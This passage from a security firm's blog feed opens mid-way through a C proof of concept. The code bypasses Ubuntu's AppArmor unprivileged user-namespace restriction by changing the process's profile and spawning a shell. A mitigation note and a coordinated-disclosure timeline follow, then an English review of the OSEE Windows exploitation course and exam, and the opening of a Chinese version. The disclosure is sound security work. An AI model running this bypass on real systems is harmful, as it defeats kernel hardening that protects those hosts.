class="p">(</span><span class="s">"open /proc/self/gid_map"</span><span class="p">);</span> <span class="n">snprintf</span><span class="p">(</span><span class="n">edit</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">edit</span><span class="p">),</span> <span class="s">"0 %d 1"</span><span class="p">,</span> <span class="n">gid</span><span class="p">);</span> <span class="n">write</span><span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="n">edit</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">edit</span><span class="p">));</span> <span class="n">close</span><span class="p">(</span><span class="n">temp</span><span class="p">);</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="k">const</span> <span class="kt">char</span> <span class="n">profile1</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"exec opam"</span><span class="p">;</span> <span class="k">const</span> <span class="kt">char</span> <span class="n">profile2</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"changeprofile opam"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x100</span><span class="p">];</span> <span class="kt">void</span> <span class="nf">func_1</span><span class="p">()</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span> <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/attr/exec"</span><span class="p">,</span> <span class="n">O_RDWR</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span class="p">(</span><span class="s">"open /proc/self/attr/exec"</span><span class="p">);</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">profile1</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">profile1</span><span class="p">));</span> <span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">_argv</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">"/usr/bin/unshare"</span><span class="p">,</span> <span class="s">"-r"</span><span class="p">,</span> <span class="s">"-n"</span><span class="p">,</span> <span class="s">"-m"</span><span class="p">,</span> <span class="s">"/bin/bash"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">};</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">_envp</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="nb">NULL</span><span class="p">};</span> <span class="n">execve</span><span class="p">(</span><span class="s">"/usr/bin/unshare"</span><span class="p">,</span> <span class="n">_argv</span><span class="p">,</span> <span class="n">_envp</span><span class="p">);</span> <span class="p">}</span> <span class="kt">void</span> <span class="nf">func_2</span><span class="p">()</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span> <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/attr/current"</span><span class="p">,</span> <span class="n">O_RDWR</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span class="p">(</span><span class="s">"open /proc/self/attr/current"</span><span class="p">);</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">profile2</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">profile2</span><span class="p">));</span> <span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span> <span class="n">unshare_setup</span><span class="p">(</span><span class="n">getuid</span><span class="p">(),</span> <span class="n">getgid</span><span class="p">());</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">_argv</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="nb">NULL</span><span class="p">};</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">_envp</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="nb">NULL</span><span class="p">};</span> <span class="n">execve</span><span class="p">(</span><span class="s">"/bin/bash"</span><span class="p">,</span> <span class="n">_argv</span><span class="p">,</span> <span class="n">_envp</span><span class="p">);</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> <span class="n">func_1</span><span class="p">();</span> <span class="n">func_2</span><span class="p">();</span> <span class="p">}</span> </code></pre></div></div> <h2 id="6-mitigation">6. Mitigation</h2> <p>The bypass method works only when <code class="language-plaintext highlighter-rouge">/proc/sys/kernel/apparmor_restrict_unprivileged_unconfined</code> is disabled (i.e., set to 0). Versions of Ubuntu later than 25.04 are not affected, as it is enabled by default.</p> <p>For Ubuntu 24.10 and earlier versions, please refer the <a href="https://discourse.ubuntu.com/t/understanding-apparmor-user-namespace-restriction/58007#p-148026-restrict-unprivileged-unconfined-profile-changes">official post</a> for instructions on how to prevent any unprivileged and unconfined process from executing <code class="language-plaintext highlighter-rouge">aa-exec</code> to change its profile.</p> <h2 id="7-disclosure-timeline">7. Disclosure Timeline</h2> <ul> <li>2025-02-16: Researcher @roddux mentioned that the namespace restriction is easy to bypass.</li> <li>2025-02-17: I discovered the bypass method.</li> <li>2025-02-24: I reported the issue to the ZDI team.</li> <li>2025-03-21: Researcher @roddux published his bypass method.</li> <li>2025-03-27: The Qualys team, upon noticing @roddux’s publication, also disclosed their advisory.</li> <li>2025-04-27: The ZDI team responded that they are not interested in this type of bug.</li> <li>2025-04-30: I reported the issue to the Ubuntu Security Team.</li> <li>2025-05-01: John, one of the maintainers, notified me that it had entered the initial review stage.</li> <li>2025-05-30: John provided a full analysis of the issue.</li> <li>2025-06-26: Coordinated release.</li> </ul> https://devco.re/blog/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction-en/ https://devco.re/blog/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction-en Thu, 26 Jun 2025 00:00:00 +0800 OSEE Exam Uncovered: Cracking OSEE in Taipei <p><a href="/blog/2025/05/27/osee-exam-uncovered-cracking-osee-in-taipei/">English Version</a>, <a href="/blog/2025/05/22/exp-401-osee-five-days-to-master-a-decade-of-knowledge/">中文版本</a></p> <p>In August 2024, DEVCORE and OffSec held a live training event in Taipei, offering four courses: SOC-200, WEB-200, PEN-200, and EXP-401. This was the first time OffSec held a live training in Taiwan.</p> <p>Naturally, the course I was most interested in was EXP-401, also known as Advanced Windows Exploitation (AWE). Most people know it by its certification name, “OSEE.”</p> <h2 id="introduction">Introduction</h2> <p>OSEE is considered OffSec’s hardest certification. As of now, only about 100–200 people worldwide hold this certification, and the pass rate is around 10%. We’ve always been curious just how tough this legendary cert really is. After all, how hard could a certification be?</p> <p>At DEVCORE, we started early on by asking how many people in Taiwan would be interested if an OSEE course were available locally. My first thought was: “Even if I have to dig into my pockets, I’m in!” The reasons were simple:</p> <ol> <li>OSEE is <strong>only offered in-person</strong>, with no online version available</li> <li>In the past, attending this course meant <strong>having to go abroad</strong>, with the most well-known session being the annual Black Hat USA training.</li> <li>It’s extremely hard to sign up, and some people even write scripts to secure their seats.</li> <li>Regardless of exam results, it would be a first for Taiwan: either the first OSEE holder or the first to fail, both an achievement.</li> </ol> <p>OffSec’s official site has a page listing all their live training sessions: <a href="https://www.offsec.com/training-and-events/">Upcoming Live Training &amp; Events | OffSec</a>. The most well-known EXP-401 session is held every August at Black Hat USA in Las Vegas. Rough math says that the round-trip airfare from Taipei to Vegas plus hotel for the week costs a small fortune, so taking the class in Taipei easily saves more than NT$100k on travel alone. Absolutely worth it.</p> <p>All things considered, I think this was the best training course I’ve ever attended, and I highly recommend it. Even if you’re not focused on Windows research, you will still enjoy it. The goal needn’t be earning the OSEE (though passing would be awesome) certification. The class experience itself is fantastic.</p> <h2 id="course-overview">Course Overview</h2> <p>EXP-401 (OSEE) is the only “Expert-level” course from OffSec, and it’s widely recognized as the most difficult certification with the lowest pass rate. You can find its position in Paul Jerimy’s <a href="https://pauljerimy.com/security-certification-roadmap/">Security Certification Roadmap</a>:</p> <p><img src="/assets/img/blog/20250522/upload_8c455085eb6be1da05d6f11ed8b5ad8a.png" alt="" /></p> <p>EXP-401 is focused on advanced “Windows exploitation techniques.” Modern Windows systems are equipped with various security mitigations (e.g., DEP, ASLR, CFG, ACG, CET), and the course walks students through bypassing these protections, developing working exploits in environments with single or multiple protections enabled. Some highlights of the course include:</p> <ul> <li><strong>In-person only</strong>: Unlike other OffSec courses, this one is not available online. The instructor relies heavily on interacting with students, so physical presence is required.</li> <li><strong>Real-world focus</strong>: The course uses real-world enterprise-level applications like VMware and Edge as targets for analysis.</li> <li><strong>Deep Windows content</strong>: Topics include user-mode and kernel-mode exploitation, advanced heap manipulation, VM escape, sandbox escape, and kernel driver reverse engineering.</li> <li><strong>72-hour exam challenge</strong>: OSEE has the longest exam duration of all OffSec certifications. You’re given two zero-day-style challenges and must develop full working exploits and submit a <strong>detailed report</strong>, complete with steps and screenshots, within 72 hours.</li> </ul> <p>Although the course recommends familiarity with WinDBG, IDA Pro, x86/x64 assembly, and C/C++, I found that only basic knowledge is needed. The course doesn’t throw overly complex scenarios at you, and any reverse engineering tasks are quite straightforward. The focus is definitely on <strong>writing and refining exploits</strong>, not deep reverse engineering. So rather than pure RE skills, having experience in <strong>binary exploitation</strong> (on Windows or Linux) will be far more helpful.</p> <h2 id="before-class">Before Class</h2> <p>After registering, OffSec sends a preparation email detailing the hardware and software requirements. For example, your machine must support NX, SMEP, and VT-x/EPT to ensure you can test all protection mechanisms discussed in class. VMware content (now removed in the latest version) also required nested virtualization, plenty of disk, and RAM.</p> <p>Besides, I suggest bringing an extra portable monitor. While remote-debugging a VM, you also need to view slides or tweak exploits in Visual Studio. The constant window-switching is really distracting.</p> <p>The mail also contained plenty of reading on concepts and techniques that would be discussed during the class, such as DEP/ASLR/CFG bypass, Windows mitigations, type confusion vulnerabilities, SMEP, token stealing, LFH, and more.</p> <h2 id="class-experience">Class Experience</h2> <p>The course ran at GIS Taipei Tech Convention Center for five consecutive days, 9 AM–6 PM. I saw a gigantic textbook on each desk when I walking in. <img src="/assets/img/blog/20250522/upload_ab82acf8bee146b377b3bc70ff60b756.jpg" alt="" /></p> <p>It’s about 600 pages, 3.6 cm thick: <img src="/assets/img/blog/20250522/upload_17fdc7d6f806d28d3cb313584b4fe4ec.jpg" alt="" /></p> <p>In short: <em>huge</em>.</p> <p>Food and snacks were provided daily. You only had to worry about learning (and bathroom breaks). Our instructors were <a href="https://dz.linkedin.com/in/nassereddine-abdelli?trk=public_post_feed-actor-name">Nassereddine ABDELLI</a>(<a href="https://x.com/n4sr0">@n4sr0</a>)and <a href="https://lb.linkedin.com/in/victor-khoury">Victor Khoury</a>(<a href="https://github.com/V-i-x-x">Vixx</a>), they are very experienced and interacted constantly, tossing questions to ensure everyone kept up. Even unexpected questions were answered live with hands-on demos. I think that’s why live training is better than online courses: you can really squeeze every bit of knowledge out of the instructors.</p> <p>During the five days, two “<strong>Extra Miles</strong>” challenges were offered. Completing each of them during the week can earn you a challenge coin. There were also small Q\&amp;A quizzes for stickers.</p> <p>Near the end of day 1, the instructors impulsively added a mini-challenge: solve an ROP chain in 45 minutes to win a coin. No one succeeded. Orange or Lays joked, “Almost all of Taiwan’s Microsoft Top 100 hackers are here, and still no one cracked it.” It looks like OSEE really is tough.</p> <h3 id="day-1">Day 1</h3> <p>We received slides, VMs, and a brief course intro. The most quoted slide online is probably this one: <img src="/assets/img/blog/20250522/upload_7b077d2f6c8d86426a5aa31a1876449b.png" alt="" /></p> <p>It warned that the difficulty would ramp up dramatically, though I personally felt it wasn’t that extreme. Perhaps this is because these topics (VM, browser, kernel) are everyday fare for vulnerability researchers or just because CTF players are more reluctant.</p> <p>A fun Easter egg: a samurai appears at the top of the slides and gradually loses his armor as the course progresses. Its helmet turns into a straw hat, and weapons vanish until he’s just naked. It possibly symbolizes the mystery of Windows being stripped away one by one.</p> <p>The first half of the day was a warm-up: Win32 APIs, x64 shellcode, etc. Then, we dove into VMware internals, starting with protections like DEP and ASLR and how to bypass them using ROP. We then explored how VMware Workstation works under the hood.</p> <p>I was super impressed with the course materials. It’s clear that the team behind it consists of highly skilled researchers. The training manual is the crystallization of their careful study and organization. As a result, the content is filled with references. If you’re interested in exploring the original research in more depth, you can easily find further reading materials by following the references provided in the book.</p> <p>By the end of the day, I realized I really needed that second screen, so I bought one at the Syntrend that night.</p> <h3 id="day-2">Day 2</h3> <p>We continued with VMware Workstation content. The exploitation is related to the heap, so the day started with Windows Heap internals.</p> <p>Then, go into bypassing ASLR, stack pivoting, and defeating DEP. This part really highlighted the course’s practical value. Unlike CTFs (where stability isn’t essential) or Pwn2Own (where a “One Shot” is enough), this course demands stability. After exploit execution, VMware and Windows must keep running like nothing happened: no crashing, no freezing. (You can’t cheat by freezing the program with a sleep loop.)</p> <p>The afternoon shifted to the Edge browser, specifically Chakra Edge, not the current Chromium Edge. The instructors chose Chakra because it enables more native mitigations, letting us practice more Windows exploits. Pure “browser PWNs” would deserve their own course. Nonetheless, we learned core concepts: type confusion, <code class="language-plaintext highlighter-rouge">addressof</code>, <code class="language-plaintext highlighter-rouge">fakeobj</code>, and crucial debugging workflows.</p> <p>Although we haven’t yet delved deeply into the browser-related parts today, the instructor gave us our first Extra Mile challenge: <strong>use ROP to bypass CFG and achieve a sandbox escape exploit</strong>. (In class, we learned about scenarios with CET enabled, where even ROP would fail.)</p> <p>It might sound straightforward, but the instructor specifically required us to wrap the vulnerability into a function that allows ROP to be triggered repeatedly. This approach brings more discipline to the exploit development process and significantly improves development efficiency.</p> <p>Of course, there were other challenges to overcome as well, like figuring out how to obtain usable memory addresses. But because I wanted that coin so desperately, I read ahead 100+ pages that we hadn’t even covered yet and started building the exploit. I stayed up until 5 AM but still hadn’t nailed it.</p> <h3 id="day-3">Day 3</h3> <p>Day 3 of the course was entirely focused on Edge, and it was the most fascinating part of the class for me.</p> <p>We started with a Type Confusion vulnerability, and the instructor walked us step-by-step through how to manipulate JavaScript objects in Edge to gain control over the RIP (instruction pointer). From there, we moved into a series of modern defense mechanisms, and each time a new mitigation was introduced, we immediately learned how to bypass it. First, we circumvented <strong>Control Flow Guard (CFG)</strong>, then <strong>Control-Flow Enforcement Technology (CET)</strong>, followed by <strong>Arbitrary Code Guard (ACG)</strong>, and finally, we broke out of the browser’s <strong>low-privileged sandbox</strong> to execute high-privilege commands on Windows.</p> <p>Throughout the process, we not only learned about the protection mechanisms present in modern Windows systems but also gained a deep understanding of their limitations and the techniques to bypass them.</p> <p>Even though the material covered in class didn’t exactly follow the same path as the <strong>Extra Mile</strong> challenges, I managed to complete the <strong>ROP sandbox escape</strong> challenge during the lectures, making me the <strong>first to earn a challenge coin</strong>! (though its serial number looked ominous in Mandarin, which means die together):</p> <p><img src="/assets/img/blog/20250522/upload_83ad2122816ba37db84d7750df28350a.jpg" alt="" /></p> <p>Later that day, we got the final Extra Mile challenge, this time focused on <strong>Kernel Mode</strong>: From <strong>Low Integrity</strong>, exploit a known CVE to launch a high-privilege <code class="language-plaintext highlighter-rouge">cmd.exe</code>.</p> <p>The tricky part here is that, due to the Low Integrity level, you couldn’t use <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> to leak kernel addresses. Additionally, the CVE provided during class requires writing a file to complete the exploit, so we have to find a directory where a Low Integrity process can <strong>successfully write files</strong> in order to place our payload and carry out the attack.</p> <p>But… I’ve decided to reward myself with a good night’s sleep tonight, so I’ll just ignore that Extra Mile for now.</p> <h3 id="days-45">Days 4–5</h3> <p>The final two days focused on <strong>kernel mode</strong>: driver and Win32k exploitation, token stealing, ACL NULL-ing, SMEP, page tables, KVA shadow, VBS, kCFG, and more. Stability and clean restoration after exploitation were paramount. Crashing the OS is not acceptable.</p> <p>Despite five long days, the room only grew more excited. As Lays put it, “Nobody usually cares about Windows, so five straight days on it is a blast.” By the end, people were literally standing around the instructors, watching live demos of WinDBG and exploit fixes. The energy stayed high right through the final minute.</p> <p>I ended up earning both challenge coins. But rumor has it that a student got overconfident from winning both challenge coins and didn’t study enough for the exam… which made me a little nervous too.</p> <p><img src="/assets/img/blog/20250522/upload_29009efc9ab35f26cdb952f962900dfb.jpg" alt="" /></p> <h2 id="post-class-reflections">Post-Class Reflections</h2> <h3 id="immersive-flow">Immersive Flow</h3> <p>The week-long in-person training was an incredibly immersive flow-state experience. For five full days, my entire world revolved around Windows exploitation, there was barely room for anything else. With the Extra Miles reward system in place, I felt like I was even writing exploits in my dreams.</p> <p>To ensure system stability and maximize development speed, I had to carefully choose the right exploitation approaches from the beginning. That also meant cultivating solid coding habits. This not only improved debugging clarity but also reduced future errors and saved time revisiting concepts.</p> <h3 id="learning-resources">Learning Resources</h3> <p>A common question I get in my DMs is whether there’s a recommended learning path for EXP-401. Should you take any prerequisite courses or study specific materials? Honestly, the course itself is comprehensive enough that no additional preparation is strictly necessary. But if you’re still unsure whether it’s the right fit for you, here are a few free resources to test the waters:</p> <ul> <li><strong><a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver">HackSys Extreme Vulnerable Driver (HEVD)</a>:</strong> A purposely vulnerable Windows driver project, great for practicing kernel-mode exploitation.</li> <li><strong><a href="https://p.ost2.fyi/">OpenSecurityTraining2</a>:</strong> A fantastic collection of free courses created by security researchers, covering topics like x86-64 OS Internals and WinDbg basics.</li> </ul> <p>These are high-quality, well-maintained resources often used by beginners to build a solid foundation. (Although personally, I’ve spent less than two hours on them in total.)</p> <p>For more advanced learners, try reproducing 1-day exploits with public write-ups. For example, I wrote a full exploit for one Win32k vulnerability covered in the course a year or two ago, albeit not very stable. Researchers like Angelboy have also written about some of the more challenging vulnerabilities mentioned in the course. Reproducing these is an excellent way to learn the whole process of exploit development: gathering information, locating the bug, bypassing protections, and understanding unique Windows mechanisms.</p> <h3 id="value-of-the-course">Value of the Course</h3> <p>EXP-401 is essentially a carefully distilled, high-quality crash course by OffSec, offering insights rarely found in public resources. For those in research, you’ll know that even when you’re aware of certain protections or system designs, diving into their actual implementations often requires starting from scratch, which means collecting scattered documentation, reading code, and reasoning through endless trial and error.</p> <p>When trying to understand a large and complex system, you often face a similar challenge: the system contains many critical components and mechanisms, but the relevant research is usually scattered across more than a decade of material. The first step is to invest time into searching for and organizing past research, gradually mapping out how these components interact. Only then can you begin to understand under what conditions each mechanism might fail, and eventually piece together a coherent, complete picture. Research results derived from this kind of deep, painstaking synthesis are rarely shared openly.</p> <p><strong>EXP-401</strong>, however, distills that level of research into a course and shares it with participants with no holding back. Starting from the earliest days of DEP, each subsequent defense mechanism is layered on top of the last. The course walks you step-by-step through this historical evolution. What problem was each layer of protection designed to solve? How did attackers eventually find ways to bypass it?</p> <p>By the end of the course, students gain a clear mental map of the Windows ecosystem. You learn how and why each mitigation was introduced, how it works, how it’s bypassed, and where its weaknesses lie. This isn’t just about writing exploits. It’s about truly understanding the underlying story and logic of Windows internals.</p> <h3 id="is-the-course-still-relevant-today">Is the Course Still Relevant Today?</h3> <p>The EXP-401 course primarily centers on <strong>Windows security mechanisms and exploitation techniques</strong>, with minimal focus on outdated technologies. As a result, the protection mechanisms introduced throughout the course are all still <strong>relevant and effective in modern Windows systems</strong>.</p> <p>Beyond just explaining the security mechanisms, the course is supplemented with various <strong>supporting materials</strong>. These materials aren’t meant to simulate real-world environments perfectly but to illustrate different scenarios and stimulate critical thinking about exploitation strategies. For example, the course uses a version of <strong>Microsoft Edge with the Chakra engine</strong>. While Chakra-based Edge is no longer in use today, it still serves as a valuable case study from the perspective of <strong>Windows-level protections</strong>. That’s because, regardless of the browser in question, once a vulnerability is found, the <strong>system-level challenges</strong> faced during exploit development remain largely the same.</p> <p>Of course, the <strong>in-browser challenges</strong> do differ between browsers. For instance, Chrome introduces an additional layer of complexity with its own custom <strong>sandboxing mechanism</strong>, which adds application-specific hurdles. But it’s important to understand that <strong>unless this course were specifically about browser exploit development</strong>, it’s unrealistic to expect deep coverage of browser-specific defenses.</p> <p>In summary, if your focus is strictly on <strong>Windows OS-level protection mechanisms and exploitation techniques</strong>, the content of <strong>EXP-401 remains highly relevant and applicable even today</strong>.</p> <h3 id="will-it-help-you-get-a-job">Will It Help You Get a Job?</h3> <p>Short answer: <strong>It helps, but not significantly</strong>. Here’s why:</p> <ul> <li><strong>If you’re aiming for red teaming:</strong> Holding the OSEE alone doesn’t prove much unless you also demonstrate a red team mindset. Exploit skills help, but thinking like an adversary matters more.</li> <li><strong>If you’re aiming for security research:</strong> OSEE is only an entry badge. Getting the OSEE only shows you can handle some technical problems, but real research is about driving your own projects and solving novel problems independently.</li> </ul> <p>As a researcher myself, I’d say certifications aren’t essential. Research quality is proven through results and published work, not certs. But before reaching that point, you need a solid knowledge base. And that’s where EXP-401 really shines.</p> <p>In a way, EXP-401 is like tracing a master’s artwork. You follow in the footsteps of top researchers, learning how protections are introduced, understood, and bypassed. You gain not just technical skills but also the thought process and methodology behind real-world vulnerability research. These skills translate well beyond Windows. It can also be applied to IoT, Linux, macOS research, and more.</p> <p>So yes, the course is more valuable than the cert alone. But if you’re paying for it, might as well earn that cert too.</p> <h2 id="report-writing">Report Writing</h2> <p>As mentioned earlier, the OSEE exam consists of two challenges. OffSec has designed a series of vulnerabilities for this purpose, and to simulate real-world scenarios, each vulnerability is accompanied by corresponding CVE advisories and simulated blog posts. The blog posts mainly introduce how the program works and methods previously used to exploit, while the CVE advisories describe the type of vulnerability but do not specify the exact location, trigger method or provide a PoC. Candidates must rely on these clues to reverse-engineer the binaries, identify the vulnerabilities, write code to trigger them, and ultimately bypass all protection mechanisms to read the <code class="language-plaintext highlighter-rouge">proof.txt</code> file in order to complete the challenge.</p> <p>The exam time is arranged as: <strong>72 hours to complete the exploit, 24 hours to complete the report</strong>. However, in practice, time is far less abundant than it seems. This will be explained later.</p> <p>The specific grading criteria can be found in the official OSEE report template: <a href="https://offensive-security.com/awe/AWE-Exam-Report.docx">AWE-Exam-Report.docx</a>. Each challenge is worth 50 points. Completing only half of a challenge will only earn 25 points, and the passing score is 75 points. For example, according to the first question in the report template, if you achieve code execution but fail to complete sandbox escape, you only get 25 points. Similarly, for the second question, if you achieve Read/Write Primitive but fail to escalate privileges, you also only get 25 points.</p> <p>Although I completed the course in August last year, I was way too busy to schedule the exam. In September and October, I was mainly focused on researching Pwn2Own targets (eventually successfully exploiting AeoTec). At the end of the year, I was preparing for a CCC talk, followed by SITCON at the beginning of the year, and then DEVCORE Conf in March. In the end, I barely managed to squeeze in an OSEE exam on 2/24.</p> <p>The exam started at 8:00 AM. I quickly achieved code execution for the first question and earned 25 points. However, I overlooked a detail and got stuck on sandbox escape. So, the next day, I switched to the second question and solved it around 2:00 PM, earning 50 points. I spent the remaining half-day grinding on the first question and finally beat it at 2:00 AM. We were talking about being the first in Taiwan to get an OSEE, but now I think it makes more sense to aim for an “OSEE Speedrun.” I basically lived a normal life during those few days (aside from having a camera pointed at my dumb face, it was fairly normal) and even had time to practice piano. If I hadn’t messed up on the first day, finishing in a day seemed possible.</p> <ul> <li>Timeline <ul> <li>2/24 08:00:00: Exam started at 8:00 AM</li> <li>2/25 14:04:52: Solved the second question</li> <li>2/26 02:41:43: Solved the first question, completed the exam</li> </ul> </li> </ul> <p>The rest of the time was spent focusing on writing the report.<br /> As mentioned earlier, candidates must <strong>complete the exploit within 72 hours</strong>, and then <strong>complete the report within the next 24 hours</strong>. However, in reality, the time is not nearly as sufficient as it seems, because the OSEE report requirements are extremely strict.</p> <p>Take the official template <a href="https://offensive-security.com/awe/AWE-Exam-Report.docx">AWE-Exam-Report.docx</a> for example, you’ll see that the entire structure is meticulously detailed, with sections like “2.2 Initial Exploitation”, “2.3 Read and Write Primitive”, “2.4 Code Execution”, “2.5 Sandbox Escape”, and so on.</p> <p>When we write exploits normally, we usually just proceed linearly and rarely document every intermediate step. However, you have to break down each stage clearly during the exam. Not only must you explain how you exploited the vulnerability, but you must also provide concrete proof of bypassing protection mechanisms, along with copy-paste-ready code. For example, in the “Read and Write Primitive” stage, you might just check this in passing and move on in normal dev flow. But in the report, you must prove you can do this. A common approach is to write a small PoC that reads/writes an inaccessible memory region, with debugger screenshots as supporting evidence.</p> <p>However, the <strong>exam machine is only available for 72 hours, and all data downloads are prohibited</strong>. This means that if you don’t collect all the required screenshots, evidence, and intermediate steps within those 72 hours, writing the report later will be extremely painful, and you might even fail due to lack of evidence. Therefore, it’s impossible to write the report afterward by trying to break down the PoC into stages cause you’ll be missing necessary screenshots and won’t be able to verify if the PoC still works. The safest strategy is: Within 72 hours, not only complete the exploit but also simultaneously write PoCs, gather all data, and draft the main content of the report.</p> <p>There have been cases where candidates scored a full 100 points during the exploit phase but failed the exam because the report was not detailed enough. So, I was terrified and submitted a 100-page report.</p> <h2 id="final-thoughts">Final Thoughts</h2> <p>At the time, the exam didn’t feel that hard. Some may have seen <a href="https://www.facebook.com/share/p/16W1Jo4eqp/">Xu Muyuan’s post</a> about the low pass rate, but for anyone who dares to call themselves a researcher, this exam should be easy enough to make you laugh.</p> <p>Once I submitted everything, I waited for OffSec to review it. They say it can take up to 10 business days. I finally got the pass notification on March 10.</p> <p>It’s rumored that this is the <strong>first OSEE certification in Taiwan</strong>, so… achievement is unlocked! <img src="/assets/img/blog/20250522/upload_b03d6106afb193bc29194272198cf43b.png" alt="" /></p> <p>A bit sad that OffSec no longer sends physical certificates or cards. I really wanted a physical OSEE card for the memories. I still have my OSCP card, which is a treasured keepsake.</p> <h2 id="bonus-upcoming-live-training-by-devcore-august-2025">Bonus: Upcoming live training by DEVCORE (August 2025)</h2> <p>DEVCORE will once again host OffSec’s live training this August, offering:</p> <ul> <li><strong>PEN-300:</strong> Advanced Evasion Techniques</li> <li><strong>WEB-300:</strong> Advanced Web Attacks</li> <li><strong>EXP-401:</strong> Advanced Windows Exploitation</li> </ul> <p>If you’re interested, I recommend registering early. Early bird pricing is much cheaper and the price increases over time.</p> <p>More info: <a href="https://training.devco.re/2025">DEVCORE &amp; OffSec Live Training 2025</a> <img src="/assets/img/blog/20250522/upload_b7cab66943df4921db18bbd3c37487f8.png" alt="" /></p> https://devco.re/blog/2025/05/27/osee-exam-uncovered-cracking-osee-in-taipei/ https://devco.re/blog/2025/05/27/osee-exam-uncovered-cracking-osee-in-taipei Tue, 27 May 2025 00:00:00 +0800 EXP-401 (OSEE):用五天課程訓練通透十年的知識體系 <p><a href="/blog/2025/05/27/osee-exam-uncovered-cracking-osee-in-taipei/">English Version</a>, <a href="/blog/2025/05/22/exp-401-osee-five-days-to-master-a-decade-of-knowledge/">中文版本</a></p> <h2 id="前言">前言</h2> <p>2024 年 8 月,DEVCORE 跟 OffSec 在台北辦了一場 Live Training,總共有四門課可以報名:SOC-200、WEB-200、PEN-200、EXP-401,這是第一次看到 OffSec 在台灣辦 Live Training。當然,其中我最感興趣的肯定是 EXP-401,也叫做 Advanced Windows Exploitation(AWE),更多人知道的是他的證照名稱「OSEE」。</p> <p>OSEE 是 OffSec 裡面最難的一張證照,截至目前為止,全球大約只有只有一到兩百人,通過率甚至只有 10% 左右。我們一直很想挑戰看看這張傳說中的證照到底有多難,不過就是一張證照到底是能難到哪裡去?</p> <p>在 DEVCORE,我們很早就開始統計,如果台灣有機會上 OSEE,究竟有多少人想去?那時候我的第一個念頭就是:「就算自費也要上!」原因很簡單:</p> <ul> <li>OSEE <strong>僅提供現場授課</strong>,完全沒有線上版。</li> <li>過去要上這門課,<strong>一定得出國</strong>,最有名的場次就是每年 Black Hat USA 的現場課程。</li> <li>報名非常困難,常常開放沒多久就額滿,甚至有人寫 script 搶名額。</li> <li>不論考試結果如何,都能成為台灣第一個:第一張 OSEE,或第一個 OSEE 不及格,也都算是一種解成就了。</li> </ul> <p>OffSec 官方網站有一個頁面專門用來公布實體訓練課程: <a href="https://www.offsec.com/training-and-events/">Upcoming Live Training &amp; Events | OffSec</a>。而 EXP-401 最廣為人知的場次,就是每年 8 月在拉斯維加斯 Black Hat USA 會場舉辦的 Live Training。粗算一下,從台北飛到拉斯維加斯的來回機票,加上上課期間的住宿費,至少要花上一大筆錢。因此,能在台北上課,光是省下的旅費就超過十萬,簡直是賺到。</p> <p>總結來說,我認為這是目前看過最棒的訓練課程,非常推薦參加。即便不是專門做 Windows 研究的人,也能從中獲得很多樂趣。上課的目標不必設定在拿到 OSEE 證照(當然,如果考過會更爽),光是上課本身,就已經是一段超棒的體驗了。</p> <h2 id="介紹">介紹</h2> <p>EXP-401(OSEE)是 OffSec 中唯一的「Expert」等級課程,也是公認最困難、通過率最低的證照,具體可以參考 Paul Jerimy 整理的 <a href="https://pauljerimy.com/security-certification-roadmap/">Security Certification Roadmap</a> : <img src="/assets/img/blog/20250522/upload_8c455085eb6be1da05d6f11ed8b5ad8a.png" alt="" /></p> <p>EXP-401(OSEE)針對的是<strong>進階 Windows 漏洞利用技術</strong>,由於現代 Windows 系統有許多安全防禦機制(像是 DEP、ASLR、CFG、ACG、CET 等),課程將一步步帶領學員<strong>繞過這些防禦措施</strong>,並針對單一或多重保護環境,開發出實際可行的 exploit。課程有幾個特色:</p> <ol> <li><strong>實體授課</strong>:此課程與 OffSec 的其他課程都不同,並沒有線上課程的方案,因為這堂課的講師需要透過與學員大量的互動來進行指導,所以需要學員到現場上課。</li> <li><strong>Real World 導向</strong>:上課內容是以真實世界企業會採用的大型應用程式作為分析對象,例如:VMware、Edge 等等。</li> <li><strong>深入 Windows</strong>:涵蓋 User Mode 與 Kernel Mode 的漏洞發掘與利用、進階 Heap 操作、VM Escape、Sandbox Escape 與 Kernel Driver 